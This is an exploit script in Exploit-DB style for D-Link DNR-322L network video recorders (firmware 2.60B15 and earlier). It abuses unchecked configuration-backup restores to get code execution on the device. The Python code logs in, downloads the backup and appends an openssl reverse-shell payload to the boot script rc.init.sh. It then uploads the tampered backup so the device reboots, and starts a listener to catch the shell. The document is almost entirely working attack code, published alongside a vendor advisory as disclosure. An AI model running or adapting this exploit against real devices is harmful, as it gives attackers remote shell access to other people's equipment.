D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution

# Exploit Title: D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution
# Date: 13.09.2022
# Exploit Author: luka <luka@lukasec.ch>
# Exploit Writeup: https://lukasec.ch/posts/dlink_dnr322.html
# Vendor Homepage: https://dlink.com
# Vendor Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10305
# Software Link: http://legacyfiles.us.dlink.com/DNR-322L/REVA/FIRMWARE
# Version: <= 2.60B15
# Tested on: Debian, Windows 10

"""
# Vulnerability
Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots. 

# Usage
exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT

options:
  -h, --help            show this help message and exit
  -U USERNAME, --username USERNAME
                        Username, ex: admin
  -P PASSWORD, --password PASSWORD
                        Password for the specified user
  -t TARGET, --target TARGET
                        IP of the target, ex: 192.168.99.99
  -l LHOST, --lhost LHOST
                        IP for the reverse shell to connect back to, ex: 123.123.123.123
  -p LPORT, --lport LPORT
                        Port for the reverse shell to connect back to, ex: 8443
"""

import argparse, socket, requests, base64, urllib, os, shutil, tarfile, random, string
from ipaddress import ip_address

args = argparse.ArgumentParser()

args.add_argument(
    "-U",
    "--username",
    type=str,
    required=True,
    dest="username",
    help="Username, ex: admin",
)

args.add_argument(
    "-P",
    "--password",
    type=str,
    required=False,
    dest="password",
    help="Password for the specified user",
)

args.add_argument(
    "-t",
    "--target",
    type=str,
    required=True,
    dest="target",
    help="IP of the target, ex: 192.168.99.99",
)

args.add_argument(
    "-l",
    "--lhost",
    type=str,
    required=True,
    dest="lhost",
    help="IP for the reverse shell to connect back to, ex: 123.123.123.123",
)

args.add_argument(
    "-p",
    "--lport",
    type=int,
    required=True,
    dest="lport",
    help="Port for the reverse shell to connect back to, ex: 8443",
)

args = args.parse_args()

# base64 + url encode string
# returns string
def b64_url_encode(data):
    enc = data.encode("utf-8")
    encB = base64.b64encode(enc)
    encUrl = urllib.parse.quote(str(encB, "utf-8"))
    return encUrl


# since user input is always unsafe, test IPs
try:
    ip_address(args.target)
except Exception:
    print("[!] Target IP is not a valid IP address")
    exit(1)
try:
    ip_address(args.lhost)
except Exception:
    print("[!] Reverse shell IP is not a valid IP address")
    exit(1)

# check if target is online
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    # hardcoded http, change if needed
    s.connect((args.target, 80))
    s.close()
except Exception:
    print("[!] Target is not online")
    exit(1)
print("[+] Target is online")

# login param
authUrl = "http://" + args.target + "/cgi-bin/login_mgr.cgi"
authHeaders = {"content-type": "application/x-www-form-urlencoded"}
authCheckCmd = "cmd=ui_check_wto"

session = requests.Session()

# if password is empty supply dont supply anything
if not args.password:
    authBody = (
        "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
        + args.username
        + "&pwd=&ssl_port=443&f_login_type=0&f_url="
    )
else:
    authBody = (
        "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
        + args.username
        + "&pwd="
        + b64_url_encode(args.password)
        + "&ssl_port=443&f_login_type=0&f_url="
    )

try:
    # login
    reqLogin = session.post(authUrl, headers=authHeaders, data=authBody)
    # check if successful
    reqCheck = session.post(authUrl, headers=authHeaders, data=authCheckCmd)

    if "success" in reqCheck.text:
        print("[+] Login successful")
    else:
        print("[!] Error during login, check credentials")
        exit(1)
except Exception as error:
    print(error)
    print("[!] Error during login, check credentials")
    exit(1)

# download backup
print("[*] Downloading backup")
if os.path.exists("backup_clean"):
    os.remove("backup_clean")

# download param
downloadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
downloadHeaders = {"content-type": "application/x-www-form-urlencoded"}
downloadCmd = "cmd=cgi_backup_conf"

try:
    reqBackup = session.post(downloadUrl, headers=downloadHeaders, data=downloadCmd)
except Exception as error:
    print(error)
    print("[!] Error while downloading backup")
    exit(1)

# saving to disk
try:
    f = open("backup_clean", "wb")
    f.write(reqBackup.content)
    f.close()

    if not os.path.exists("backup_clean"):
        print("[!] Error while saving backup")
        exit(1)
except Exception as error:
    print(error)
    print("[!] Error while saving backup")
    exit(1)
print("[+] Download successful")

# unpack backup (tar.gz file)
try:
    config = tarfile.open("backup_clean")
    config.extractall()
    config.close()
except Exception as error:
    print(error)
    print("[!] Error while unpacking backup")
    exit(1)

# inject stuff into startup script
try:
    bashscript = open("backup/rc.init.sh", "a")
    # revshell with openssl
    payload = (
        "\n(( sleep 10; rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect %s:%s >/tmp/lol & ) & )\n"
        % (args.lhost, args.lport)
    )
    bashscript.write(payload)
    # also start a telnet deamon (has same passwd as web)
    # bashscript.write("utelnetd -d")
    bashscript.close()
except Exception as error:
    print(error)
    print("[!] Error while creating malicious backup")
    exit(1)
print("[+] Created malicious backup")


# re pack file
try:
    configInj = tarfile.open("backup_injected", "w:gz")
    configInj.add("backup")
    configInj.close()
    # remove unpacked folder
    shutil.rmtree("backup", ignore_errors=False, onerror=None)
except Exception as error:
    print(error)
    print("[!] Error while re-packing malicious backup")
    exit(1)

# upload
print("[*] Uploading malicious backup")
uploadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
uploadHeaders = {
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhellothere"
}

configInj = open("backup_injected", "rb")
tardata = configInj.read().decode("latin-1")

uploadBody = (
    '------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="cmd"\r\n\r\ncgi_restore_conf\r\n------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="file"; filename="backup"\r\nContent-Type: application/x-gzip\r\n\r\n'
    + tardata
    + "\r\n------WebKitFormBoundaryhellothere--\r\n"
)

reqUpload = session.post(uploadUrl, headers=uploadHeaders, data=uploadBody)

if "web/dsk_mgr/wait.html" in reqUpload.text:
    print("[+] Upload successful, target will reboot now")
else:
    print("[!] Error while uploading malicious backup")
    exit(1)


# creating listener
print("[*] Started listener, waiting for the shell to connect back")
print("[*] When you are done kill the shell with Ctrl+C")
# random name
randInt = "".join(random.choice(string.ascii_lowercase) for i in range(10))

# generate the cert and the key for the openssl listener
os.system(
    'openssl req -x509 -newkey rsa:4096 -keyout /tmp/%s_key.pem -out /tmp/%s_cert.pem -days 365 -nodes -subj "/CN=example.com" 2> /dev/null'
    % (randInt, randInt)
)
# create an openssl listener
os.system(
    "openssl s_server -quiet -key /tmp/%s_key.pem -cert /tmp/%s_cert.pem -port %s"
    % (randInt, randInt, args.lport)
)

exit(0)